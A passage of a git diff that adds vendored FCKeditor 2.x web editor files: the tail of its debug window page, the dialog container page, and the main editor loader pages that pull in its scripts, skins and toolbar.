+               message = 'Properties of: ' + anyObject + '</b><blockquote>' ;
+               
+               for (var prop in anyObject)
+               {
+                       try 
+                       {
+                               var sVal = anyObject[ prop ] != null ? anyObject[ prop ] + '' : '[null]' ;
+                               message += '<b>' + prop + '</b> : ' + sVal.replace(/</g, '&lt;') + '<br>' ;
+                       } 
+                       catch (e)
+                       {
+                               try
+                               {
+                                       message += '<b>' + prop + '</b> : [' + typeof( anyObject[ prop ] ) + ']<br>' ;
+                               }
+                               catch (e)
+                               {
+                                       message += '<b>' + prop + '</b> : [-error-]<br>' ;
+                               }
+                       }
+               }
+
+               message += '</blockquote><b>' ; 
+       } else
+               message = 'OutputObject : Object is "null".' ;
+               
+       Output( message, color, true ) ;
+}
+
+function StartTimer()
+{
+       window.setTimeout( 'CheckMessages()', 100 ) ;
+}
+
+function CheckMessages()
+{
+       if ( window.FCKMessages.length > 0 )
+       {
+               // Get the first item in the queue
+               var sMessage = window.FCKMessages[0] ;
+               
+               // Removes the first item from the queue
+               var oTempArray = new Array() ;
+               for ( i = 1 ; i < window.FCKMessages.length ; i++ )
+                       oTempArray[ i - 1 ] = window.FCKMessages[ i ] ;
+               window.FCKMessages = oTempArray ;
+               
+               var d = new Date() ;
+               var sTime = 
+                       ( d.getHours() + 100 + '' ).substr( 1,2 ) + ':' + 
+                       ( d.getMinutes() + 100 + '' ).substr( 1,2 ) + ':' + 
+                       ( d.getSeconds() + 100 + '' ).substr( 1,2 ) + ':' + 
+                       ( d.getMilliseconds() + 1000 + '' ).substr( 1,3 ) ;
+
+               var oMsgDiv = oWindow.document.createElement( 'div' ) ;
+               oMsgDiv.innerHTML = sTime + ': <b>' + sMessage + '<\/b>' ;
+               oDiv.appendChild( oMsgDiv ) ;
+               oMsgDiv.scrollIntoView() ;
+       }
+}
+
+function Clear()
+{
+       oDiv.innerHTML = '' ;
+}
+       </script>
+</head>
+<body style="margin: 10px">
+       <table style="height: 100%" cellspacing="5" cellpadding="0" width="100%" border="0">
+               <tr>
+                       <td>
+                               <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                                       <tr>
+                                               <td style="font-weight: bold; font-size: 1.2em;">
+                                                       FCKeditor Debug Window</td>
+                                               <td align="right">
+                                                       <input type="button" value="Clear" onclick="Clear();" /></td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+               <tr style="height: 100%">
+                       <td style="border: #696969 1px solid">
+                               <iframe id="xOutput" width="100%" height="100%" scrolling="auto" src="javascript:void(0)"
+                                       frameborder="0"></iframe>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/fckdialog.html b/fckeditor/editor/fckdialog.html
new file mode 100755 (executable)
index 0000000..bf3c6b7
--- /dev/null
@@ -0,0 +1,327 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckdialog.html
+ *     This page is used by all dialog box as the container.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+       <head>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+               <meta name="robots" content="noindex, nofollow" />
+               <script type="text/javascript">
+
+// On some Gecko browsers (probably over slow connections) the
+// "dialogArguments" are not set so we must get it from the opener window.
+if ( !window.dialogArguments )
+       window.dialogArguments = window.opener.FCKLastDialogInfo ;
+
+// Sets the Skin CSS
+document.write( '<link href="' + window.dialogArguments.Editor.FCKConfig.SkinPath + 'fck_dialog.css" type="text/css" rel="stylesheet">' ) ;
+
+// Sets the language direction.
+window.document.dir = window.dialogArguments.Editor.FCKLang.Dir ;
+
+var sTitle = window.dialogArguments.Title ;
+document.write( '<title>' + sTitle + '<\/title>' ) ;
+
+function LoadInnerDialog()
+{
+       if ( window.onresize )
+               window.onresize() ;
+
+       // First of all, translate the dialog box contents.
+       window.dialogArguments.Editor.FCKLanguageManager.TranslatePage( document ) ;
+
+       window.frames["frmMain"].document.location.href = window.dialogArguments.Page ;
+}
+
+function InnerDialogLoaded()
+{
+       var oInnerDoc = document.getElementById('frmMain').contentWindow.document ;
+
+       // Set the language direction.
+       oInnerDoc.dir = window.dialogArguments.Editor.FCKLang.Dir ;
+
+       // Sets the Skin CSS.
+       oInnerDoc.write( '<link href="' + window.dialogArguments.Editor.FCKConfig.SkinPath + 'fck_dialog.css" type="text/css" rel="stylesheet">' ) ;
+
+       SetOnKeyDown( oInnerDoc ) ;
+       DisableContextMenu( oInnerDoc ) ;
+
+       return window.dialogArguments.Editor ;
+}
+
+function SetOkButton( showIt )
+{
+       document.getElementById('btnOk').style.visibility = ( showIt ? '' : 'hidden' ) ;
+}
+
+var bAutoSize = false ;
+
+function SetAutoSize( autoSize )
+{
+       bAutoSize = autoSize ;
+       RefreshSize() ;
+}
+
+function RefreshSize()
+{
+       if ( bAutoSize )
+       {
+               var oInnerDoc = document.getElementById('frmMain').contentWindow.document ;
+
+               var iFrameHeight ;
+               if ( document.all )
+                       iFrameHeight = oInnerDoc.body.offsetHeight ;
+               else
+                       iFrameHeight = document.getElementById('frmMain').contentWindow.innerHeight ;
+
+               var iInnerHeight = oInnerDoc.body.scrollHeight ;
+
+               var iDiff = iInnerHeight - iFrameHeight ;
+
+               if ( iDiff > 0 )
+               {
+                       if ( document.all )
+                               window.dialogHeight = ( parseInt( window.dialogHeight, 10 ) + iDiff ) + 'px' ;
+                       else
+                               window.resizeBy( 0, iDiff ) ;
+               }
+       }
+}
+
+function Ok()
+{
+       if ( window.frames["frmMain"].Ok && window.frames["frmMain"].Ok() )
+               Cancel() ;
+}
+
+function Cancel( dontFireChange )
+{
+       if ( !dontFireChange )
+       {
+               // All dialog windows, by default, will fire the "OnSelectionChange"
+               // event, no matter the Ok or Cancel button has been pressed.
+               window.dialogArguments.Editor.FCK.Events.FireEvent( 'OnSelectionChange' ) ;
+       }
+       window.close() ;
+}
+
+// Object that holds all available tabs.
+var oTabs = new Object() ;
+
+function TabDiv_OnClick()
+{
+       SetSelectedTab( this.TabCode ) ;
+}
+
+function AddTab( tabCode, tabText, startHidden )
+{
+       if ( typeof( oTabs[ tabCode ] ) != 'undefined' )
+               return ;
+
+       var eTabsRow = document.getElementById( 'Tabs' ) ;
+
+       var oCell = eTabsRow.insertCell(  eTabsRow.cells.length - 1 ) ;
+       oCell.noWrap = true ;
+
+       var oDiv = document.createElement( 'DIV' ) ;
+       oDiv.className = 'PopupTab' ;
+       oDiv.innerHTML = tabText ;
+       oDiv.TabCode = tabCode ;
+       oDiv.onclick = TabDiv_OnClick ;
+
+       if ( startHidden )
+               oDiv.style.display = 'none' ;
+
+       eTabsRow = document.getElementById( 'TabsRow' ) ;
+
+       oCell.appendChild( oDiv ) ;
+
+       if ( eTabsRow.style.display == 'none' )
+       {
+               var eTitleArea = document.getElementById( 'TitleArea' ) ;
+               eTitleArea.className = 'PopupTitle' ;
+
+               oDiv.className = 'PopupTabSelected' ;
+               eTabsRow.style.display = '' ;
+
+               if ( ! window.dialogArguments.Editor.FCKBrowserInfo.IsIE )
+                       window.onresize() ;
+       }
+
+       oTabs[ tabCode ] = oDiv ;
+}
+
+function SetSelectedTab( tabCode )
+{
+       for ( var sCode in oTabs )
+       {
+               if ( sCode == tabCode )
+                       oTabs[sCode].className = 'PopupTabSelected' ;
+               else
+                       oTabs[sCode].className = 'PopupTab' ;
+       }
+
+       if ( typeof( window.frames["frmMain"].OnDialogTabChange ) == 'function' )
+               window.frames["frmMain"].OnDialogTabChange( tabCode ) ;
+}
+
+function SetTabVisibility( tabCode, isVisible )
+{
+       var oTab = oTabs[ tabCode ] ;
+       oTab.style.display = isVisible ? '' : 'none' ;
+
+       if ( ! isVisible && oTab.className == 'PopupTabSelected' )
+       {
+               for ( var sCode in oTabs )
+               {
+                       if ( oTabs[sCode].style.display != 'none' )
+                       {
+                               SetSelectedTab( sCode ) ;
+                               break ;
+                       }
+               }
+       }
+}
+
+function SetOnKeyDown( targetDocument )
+{
+       targetDocument.onkeydown = function ( e )
+       {
+               e = e || event || this.parentWindow.event ;
+               switch ( e.keyCode )
+               {
+                       case 13 :               // ENTER
+                               var oTarget = e.srcElement || e.target ;
+                               if ( oTarget.tagName == 'TEXTAREA' ) 
+                                       return true ;
+                               Ok() ;
+                               return false ;
+                       case 27 :               // ESC
+                               Cancel() ;
+                               return false ;
+                               break ;
+               }
+               return true ;
+       }
+}
+SetOnKeyDown( document ) ;
+
+function DisableContextMenu( targetDocument )
+{
+       if ( window.dialogArguments.Editor.FCKBrowserInfo.IsIE ) return ;
+
+       // Disable Right-Click
+       var oOnContextMenu = function( e )
+       {
+               var sTagName = e.target.tagName ;
+               if ( ! ( ( sTagName == "INPUT" && e.target.type == "text" ) || sTagName == "TEXTAREA" ) )
+                       e.preventDefault() ;
+       }
+       targetDocument.addEventListener( 'contextmenu', oOnContextMenu, true ) ;
+}
+DisableContextMenu( document ) ;
+
+if ( ! window.dialogArguments.Editor.FCKBrowserInfo.IsIE )
+{
+       window.onresize = function()
+       {
+               var oFrame = document.getElementById("frmMain") ;
+
+               if ( ! oFrame )
+               return ;
+
+               oFrame.height = 0 ;
+
+               var oCell = document.getElementById("FrameCell") ;
+               var iHeight = oCell.offsetHeight ;
+
+               oFrame.height = iHeight - 2 ;
+       }
+}
+
+if ( window.dialogArguments.Editor.FCKBrowserInfo.IsIE )
+{
+       function Window_OnBeforeUnload()
+       {
+               for ( var t in oTabs )
+                       oTabs[t] = null ;
+
+               window.dialogArguments.Editor = null ;
+       }
+       window.attachEvent( "onbeforeunload", Window_OnBeforeUnload ) ;
+}
+
+function Window_OnClose()
+{
+       window.dialogArguments.Editor.FCKFocusManager.Unlock() ;
+}
+
+if ( window.addEventListener )
+       window.addEventListener( 'unload', Window_OnClose, false ) ;
+
+               </script>
+       </head>
+       <body onload="LoadInnerDialog();" class="PopupBody">
+               <table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
+                       <tr>
+                               <td id="TitleArea" class="PopupTitle PopupTitleBorder">
+                                       <script type="text/javascript">
+document.write( sTitle ) ;
+                                       </script>
+                               </td>
+                       </tr>
+                       <tr id="TabsRow" style="DISPLAY: none">
+                               <td class="PopupTabArea">
+                                       <table border="0" cellpadding="0" cellspacing="0" width="100%">
+                                               <tr id="Tabs" onselectstart="return false;">
+                                                       <td class="PopupTabEmptyArea">&nbsp;</td>
+                                                       <td class="PopupTabEmptyArea" width="100%">&nbsp;</td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+                       <tr>
+                               <td id="FrameCell" height="100%" valign="top">
+                                       <iframe id="frmMain" src="javascript:void(0)" name="frmMain" frameborder="0" height="100%" width="100%" scrolling="auto">
+                                       </iframe>
+                               </td>
+                       </tr>
+                       <tr>
+                               <td class="PopupButtons">
+                                       <table border="0" cellpadding="0" cellspacing="0">
+                                               <tr>
+                                                       <td width="100%">&nbsp;</td>
+                                                       <td nowrap="nowrap">
+                                                               <input id="btnOk" style="VISIBILITY: hidden; WIDTH: 100px" type="button" value="Ok" class="Button"
+                                                                       onclick="Ok();" fckLang="DlgBtnOK" />&nbsp; <input type="button" value="Cancel" class="Button" onclick="Cancel();" fckLang="DlgBtnCancel" />
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
\ No newline at end of file
diff --git a/fckeditor/editor/fckeditor.html b/fckeditor/editor/fckeditor.html
new file mode 100755 (executable)
index 0000000..9e9f5c0
--- /dev/null
@@ -0,0 +1,231 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckeditor.html
+ *     Main page that holds the editor.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor</title>
+       <meta name="robots" content="noindex, nofollow" />
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta http-equiv="Cache-Control" content="public" />
+       <script type="text/javascript">
+
+// Instead of loading scripts and CSSs using inline tags, all scripts are
+// loaded by code. In this way we can guarantee the correct processing order,
+// otherwise external scripts and inline scripts could be executed in an
+// unwanted order (IE).
+
+function LoadScript( url )
+{
+       document.write( '<script type="text/javascript" src="' + url + '" onerror="alert(\'Error loading \' + this.src);"><\/script>' ) ;
+}
+
+function LoadCss( url )
+{
+       document.write( '<link href="' + url + '" type="text/css" rel="stylesheet" onerror="alert(\'Error loading \' + this.src);" />' ) ;
+}
+
+// Main editor scripts.
+var sSuffix = /msie/.test( navigator.userAgent.toLowerCase() ) ? 'ie' : 'gecko' ;
+
+LoadScript( 'js/fckeditorcode_' + sSuffix + '.js' ) ;
+
+// Base configuration file.
+LoadScript( '../fckconfig.js' ) ;
+
+       </script>
+       <script type="text/javascript">
+
+if ( FCKBrowserInfo.IsIE )
+{
+       // Remove IE mouse flickering.
+       try
+       {
+               document.execCommand( 'BackgroundImageCache', false, true ) ;
+       }
+       catch (e) 
+       {
+               // We have been reported about loading problems caused by the above
+               // line. For safety, let's just ignore errors.
+       }
+
+       // Create the default cleanup object used by the editor.
+       FCK.IECleanup = new FCKIECleanup( window ) ;
+       FCK.IECleanup.AddItem( FCKTempBin, FCKTempBin.Reset ) ;
+       FCK.IECleanup.AddItem( FCK, FCK_Cleanup ) ;
+}
+
+// The config hidden field is processed immediately, because
+// CustomConfigurationsPath may be set in the page.
+FCKConfig.ProcessHiddenField() ;
+
+// Load the custom configurations file (if defined).
+if ( FCKConfig.CustomConfigurationsPath.length > 0 )
+       LoadScript( FCKConfig.CustomConfigurationsPath ) ;
+
+       </script>
+       <script type="text/javascript">
+
+// Load configurations defined at page level.
+FCKConfig_LoadPageConfig() ;
+
+FCKConfig_PreProcess() ;
+
+// Load the active skin CSS.
+LoadCss( FCKConfig.SkinPath + 'fck_editor.css' ) ;
+
+// Load the language file.
+FCKLanguageManager.Initialize() ;
+LoadScript( 'lang/' + FCKLanguageManager.ActiveLanguage.Code + '.js' ) ;
+
+       </script>
+       <script type="text/javascript">
+
+// Initialize the editing area context menu.
+FCK_ContextMenu_Init() ;
+
+FCKPlugins.Load() ;
+
+       </script>
+       <script type="text/javascript">
+       
+// Set the editor interface direction.
+window.document.dir = FCKLang.Dir ;
+
+// Activate pasting operations.
+if ( FCKConfig.ForcePasteAsPlainText || FCKConfig.AutoDetectPasteFromWord )
+       FCK.Events.AttachEvent( 'OnPaste', FCK.Paste ) ;
+
+       </script>
+       <script type="text/javascript">
+
+window.onload = function()
+{
+       InitializeAPI() ;
+
+       if ( FCKBrowserInfo.IsIE )
+               FCK_PreloadImages() ;
+       else
+               LoadToolbarSetup() ;
+}
+
+function LoadToolbarSetup()
+{
+       FCKeditorAPI._FunctionQueue.Add( LoadToolbar ) ;
+}
+
+function LoadToolbar()
+{
+       var oToolbarSet = FCK.ToolbarSet = FCKToolbarSet_Create() ;
+       
+       if ( oToolbarSet.IsLoaded )
+               StartEditor() ;
+       else
+       {
+               oToolbarSet.OnLoad = StartEditor ;
+               oToolbarSet.Load( FCKURLParams['Toolbar'] || 'Default' ) ;
+       }
+}
+
+function StartEditor()
+{
+       // Remove the onload listener.
+       FCK.ToolbarSet.OnLoad = null ;
+
+       FCKeditorAPI._FunctionQueue.Remove( LoadToolbar ) ;
+
+       FCK.Events.AttachEvent( 'OnStatusChange', WaitForActive ) ;
+
+       // Start the editor.
+       FCK.StartEditor() ;
+}
+
+function WaitForActive( editorInstance, newStatus )
+{
+       if ( newStatus == FCK_STATUS_ACTIVE )
+       {
+               if ( FCKBrowserInfo.IsGecko )
+                       FCKTools.RunFunction( window.onresize ) ;
+
+               _AttachFormSubmitToAPI() ;
+
+               FCK.SetStatus( FCK_STATUS_COMPLETE ) ;
+
+               // Call the special "FCKeditor_OnComplete" function that should be present in 
+               // the HTML page where the editor is located.
+               if ( typeof( window.parent.FCKeditor_OnComplete ) == 'function' )
+                       window.parent.FCKeditor_OnComplete( FCK ) ;     
+       }
+}
+
+// Gecko browsers doens't calculate well that IFRAME size so we must
+// recalculate it every time the window size changes.
+if ( FCKBrowserInfo.IsGecko )
+{
+       function Window_OnResize()
+       {
+               if ( FCKBrowserInfo.IsOpera )
+                       return ;
+
+               var oCell = document.getElementById( 'xEditingArea' ) ;
+
+               var eInnerElement = oCell.firstChild ;
+               if ( eInnerElement )
+               {
+                       eInnerElement.style.height = 0 ;
+                       eInnerElement.style.height = oCell.scrollHeight - 2 ;
+               }
+       }
+       window.onresize = Window_OnResize ;
+}
+
+       </script>
+</head>
+<body>
+       <table width="100%" cellpadding="0" cellspacing="0" style="height: 100%; table-layout: fixed">
+               <tr id="xToolbarRow" style="display: none">
+                       <td id="xToolbarSpace" style="overflow: hidden">
+                               <table width="100%" cellpadding="0" cellspacing="0">
+                                       <tr id="xCollapsed" style="display: none">
+                                               <td id="xExpandHandle" class="TB_Expand" colspan="3">
+                                                       <img class="TB_ExpandImg" alt="" src="images/spacer.gif" width="8" height="4" /></td>
+                                       </tr>
+                                       <tr id="xExpanded" style="display: none">
+                                               <td id="xTBLeftBorder" class="TB_SideBorder" style="width: 1px; display: none;"></td>
+                                               <td id="xCollapseHandle" style="display: none" class="TB_Collapse" valign="bottom">
+                                                       <img class="TB_CollapseImg" alt="" src="images/spacer.gif" width="8" height="4" /></td>
+                                               <td id="xToolbar" class="TB_ToolbarSet"></td>
+                                               <td class="TB_SideBorder" style="width: 1px"></td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+               <tr>
+                       <td id="xEditingArea" valign="top" style="height: 100%"></td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/fckeditor.original.html b/fckeditor/editor/fckeditor.original.html
new file mode 100755 (executable)
index 0000000..4628eb4
--- /dev/null
@@ -0,0 +1,322 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckeditor.original.html
+ *     Main page that holds the editor.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor</title>
+       <meta name="robots" content="noindex, nofollow" />
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <!-- @Packager.RemoveLine
+       <meta http-equiv="Cache-Control" content="public" />
+       @Packager.RemoveLine -->
+       <script type="text/javascript">
+
+// Instead of loading scripts and CSSs using inline tags, all scripts are
+// loaded by code. In this way we can guarantee the correct processing order,
+// otherwise external scripts and inline scripts could be executed in an
+// unwanted order (IE).
+
+function LoadScript( url )
+{
+       document.write( '<script type="text/javascript" src="' + url + '" onerror="alert(\'Error loading \' + this.src);"><\/script>' ) ;
+}
+
+function LoadCss( url )
+{
+       document.write( '<link href="' + url + '" type="text/css" rel="stylesheet" onerror="alert(\'Error loading \' + this.src);" />' ) ;
+}
+
+// Main editor scripts.
+var sSuffix = /msie/.test( navigator.userAgent.toLowerCase() ) ? 'ie' : 'gecko' ;
+
+/* @Packager.RemoveLine
+LoadScript( 'js/fckeditorcode_' + sSuffix + '.js' ) ;
+@Packager.RemoveLine */
+// @Packager.Remove.Start
+
+LoadScript( '_source/fckconstants.js' ) ;
+LoadScript( '_source/fckjscoreextensions.js' ) ;
+
+if ( sSuffix == 'ie' )
+       LoadScript( '_source/classes/fckiecleanup.js' ) ;
+
+LoadScript( '_source/internals/fckbrowserinfo.js' ) ;
+LoadScript( '_source/internals/fckurlparams.js' ) ;
+LoadScript( '_source/classes/fckevents.js' ) ;
+LoadScript( '_source/internals/fck.js' ) ;
+LoadScript( '_source/internals/fck_' + sSuffix + '.js' ) ;
+LoadScript( '_source/internals/fckconfig.js' ) ;
+
+LoadScript( '_source/internals/fckdebug.js' ) ;
+LoadScript( '_source/internals/fckdomtools.js' ) ;
+LoadScript( '_source/internals/fcktools.js' ) ;
+LoadScript( '_source/internals/fcktools_' + sSuffix + '.js' ) ;
+LoadScript( '_source/fckeditorapi.js' ) ;
+LoadScript( '_source/classes/fckimagepreloader.js' ) ;
+LoadScript( '_source/internals/fckregexlib.js' ) ;
+LoadScript( '_source/internals/fcklanguagemanager.js' ) ;
+LoadScript( '_source/internals/fckxhtmlentities.js' ) ;
+LoadScript( '_source/internals/fckxhtml.js' ) ;
+LoadScript( '_source/internals/fckxhtml_' + sSuffix + '.js' ) ;
+LoadScript( '_source/internals/fckcodeformatter.js' ) ;
+LoadScript( '_source/internals/fckundo_' + sSuffix + '.js' ) ;
+LoadScript( '_source/classes/fckeditingarea.js' ) ;
+LoadScript( '_source/classes/fckkeystrokehandler.js' ) ;
+
+LoadScript( '_source/internals/fcklisthandler.js' ) ;
+LoadScript( '_source/classes/fckelementpath.js' ) ;
+LoadScript( '_source/classes/fckdomrange.js' ) ;
+LoadScript( '_source/classes/fckdocumentfragment_' + sSuffix + '.js' ) ;
+LoadScript( '_source/classes/fckw3crange.js' ) ;
+LoadScript( '_source/classes/fckdomrange_' + sSuffix + '.js' ) ;
+LoadScript( '_source/classes/fckenterkey.js' ) ;
+
+LoadScript( '_source/internals/fckdocumentprocessor.js' ) ;
+LoadScript( '_source/internals/fckselection.js' ) ;
+LoadScript( '_source/internals/fckselection_' + sSuffix + '.js' ) ;
+
+LoadScript( '_source/internals/fcktablehandler.js' ) ;
+LoadScript( '_source/internals/fcktablehandler_' + sSuffix + '.js' ) ;
+LoadScript( '_source/classes/fckxml_' + sSuffix + '.js' ) ;
+LoadScript( '_source/classes/fckstyledef.js' ) ;
+LoadScript( '_source/classes/fckstyledef_' + sSuffix + '.js' ) ;
+LoadScript( '_source/classes/fckstylesloader.js' ) ;
+
+LoadScript( '_source/commandclasses/fcknamedcommand.js' ) ;
+LoadScript( '_source/commandclasses/fck_othercommands.js' ) ;
+LoadScript( '_source/commandclasses/fckspellcheckcommand_' + sSuffix + '.js' ) ;
+LoadScript( '_source/commandclasses/fcktextcolorcommand.js' ) ;
+LoadScript( '_source/commandclasses/fckpasteplaintextcommand.js' ) ;
+LoadScript( '_source/commandclasses/fckpastewordcommand.js' ) ;
+LoadScript( '_source/commandclasses/fcktablecommand.js' ) ;
+LoadScript( '_source/commandclasses/fckstylecommand.js' ) ;
+LoadScript( '_source/commandclasses/fckfitwindow.js' ) ;
+LoadScript( '_source/internals/fckcommands.js' ) ;
+
+LoadScript( '_source/classes/fckpanel.js' ) ;
+LoadScript( '_source/classes/fckicon.js' ) ;
+LoadScript( '_source/classes/fcktoolbarbuttonui.js' ) ;
+LoadScript( '_source/classes/fcktoolbarbutton.js' ) ;
+LoadScript( '_source/classes/fckspecialcombo.js' ) ;
+LoadScript( '_source/classes/fcktoolbarspecialcombo.js' ) ;
+LoadScript( '_source/classes/fcktoolbarfontscombo.js' ) ;
+LoadScript( '_source/classes/fcktoolbarfontsizecombo.js' ) ;
+LoadScript( '_source/classes/fcktoolbarfontformatcombo.js' ) ;
+LoadScript( '_source/classes/fcktoolbarstylecombo.js' ) ;
+LoadScript( '_source/classes/fcktoolbarpanelbutton.js' ) ;
+LoadScript( '_source/internals/fcktoolbaritems.js' ) ;
+LoadScript( '_source/classes/fcktoolbar.js' ) ;
+LoadScript( '_source/classes/fcktoolbarbreak_' + sSuffix + '.js' ) ;
+LoadScript( '_source/internals/fcktoolbarset.js' ) ;
+LoadScript( '_source/internals/fckdialog.js' ) ;
+LoadScript( '_source/internals/fckdialog_' + sSuffix + '.js' ) ;
+LoadScript( '_source/classes/fckmenuitem.js' ) ;
+LoadScript( '_source/classes/fckmenublock.js' ) ;
+LoadScript( '_source/classes/fckmenublockpanel.js' ) ;
+LoadScript( '_source/classes/fckcontextmenu.js' ) ;
+LoadScript( '_source/internals/fck_contextmenu.js' ) ;
+LoadScript( '_source/classes/fckplugin.js' ) ;
+LoadScript( '_source/internals/fckplugins.js' ) ;
+
+// @Packager.Remove.End
+
+// Base configuration file.
+LoadScript( '../fckconfig.js' ) ;
+
+       </script>
+       <script type="text/javascript">
+
+if ( FCKBrowserInfo.IsIE )
+{
+       // Remove IE mouse flickering.
+       try
+       {
+               document.execCommand( 'BackgroundImageCache', false, true ) ;
+       }
+       catch (e) 
+       {
+               // We have been reported about loading problems caused by the above
+               // line. For safety, let's just ignore errors.
+       }
+
+       // Create the default cleanup object used by the editor.
+       FCK.IECleanup = new FCKIECleanup( window ) ;
+       FCK.IECleanup.AddItem( FCKTempBin, FCKTempBin.Reset ) ;
+       FCK.IECleanup.AddItem( FCK, FCK_Cleanup ) ;
+}
+
+// The config hidden field is processed immediately, because
+// CustomConfigurationsPath may be set in the page.
+FCKConfig.ProcessHiddenField() ;
+
+// Load the custom configurations file (if defined).
+if ( FCKConfig.CustomConfigurationsPath.length > 0 )
+       LoadScript( FCKConfig.CustomConfigurationsPath ) ;
+
+       </script>
+       <script type="text/javascript">
+
+// Load configurations defined at page level.
+FCKConfig_LoadPageConfig() ;
+
+FCKConfig_PreProcess() ;
+
+// Load the active skin CSS.
+LoadCss( FCKConfig.SkinPath + 'fck_editor.css' ) ;
+
+// Load the language file.
+FCKLanguageManager.Initialize() ;
+LoadScript( 'lang/' + FCKLanguageManager.ActiveLanguage.Code + '.js' ) ;
+
+       </script>
+       <script type="text/javascript">
+
+// Initialize the editing area context menu.
+FCK_ContextMenu_Init() ;
+
+FCKPlugins.Load() ;
+
+       </script>
+       <script type="text/javascript">
+       
+// Set the editor interface direction.
+window.document.dir = FCKLang.Dir ;
+
+// Activate pasting operations.
+if ( FCKConfig.ForcePasteAsPlainText || FCKConfig.AutoDetectPasteFromWord )
+       FCK.Events.AttachEvent( 'OnPaste', FCK.Paste ) ;
+
+       </script>
+       <script type="text/javascript">
+
+window.onload = function()
+{
+       InitializeAPI() ;
+
+       if ( FCKBrowserInfo.IsIE )
+               FCK_PreloadImages() ;
+       else
+               LoadToolbarSetup() ;
+}
+
+function LoadToolbarSetup()
+{
+       FCKeditorAPI._FunctionQueue.Add( LoadToolbar ) ;
+}
+
+function LoadToolbar()
+{
+       var oToolbarSet = FCK.ToolbarSet = FCKToolbarSet_Create() ;
+       
+       if ( oToolbarSet.IsLoaded )
+               StartEditor() ;
+       else
+       {
+               oToolbarSet.OnLoad = StartEditor ;
+               oToolbarSet.Load( FCKURLParams['Toolbar'] || 'Default' ) ;
+       }
+}
+
+function StartEditor()
+{
+       // Remove the onload listener.
+       FCK.ToolbarSet.OnLoad = null ;
+
+       FCKeditorAPI._FunctionQueue.Remove( LoadToolbar ) ;
+
+       FCK.Events.AttachEvent( 'OnStatusChange', WaitForActive ) ;
+
+       // Start the editor.
+       FCK.StartEditor() ;
+}
+
+function WaitForActive( editorInstance, newStatus )
+{
+       if ( newStatus == FCK_STATUS_ACTIVE )
+       {
+               if ( FCKBrowserInfo.IsGecko )
+                       FCKTools.RunFunction( window.onresize ) ;
+
+               _AttachFormSubmitToAPI() ;
+
+               FCK.SetStatus( FCK_STATUS_COMPLETE ) ;
+
+               // Call the special "FCKeditor_OnComplete" function that should be present in 
+               // the HTML page where the editor is located.
+               if ( typeof( window.parent.FCKeditor_OnComplete ) == 'function' )
+                       window.parent.FCKeditor_OnComplete( FCK ) ;     
+       }
+}
+
+// Gecko browsers doens't calculate well that IFRAME size so we must
+// recalculate it every time the window size changes.
+if ( FCKBrowserInfo.IsGecko )
+{
+       function Window_OnResize()
+       {
+               if ( FCKBrowserInfo.IsOpera )
+                       return ;
+
+               var oCell = document.getElementById( 'xEditingArea' ) ;
+
+               var eInnerElement = oCell.firstChild ;
+               if ( eInnerElement )
+               {
+                       eInnerElement.style.height = 0 ;
+                       eInnerElement.style.height = oCell.scrollHeight - 2 ;
+               }
+       }
+       window.onresize = Window_OnResize ;
+}
+
+       </script>
+</head>
+<body>
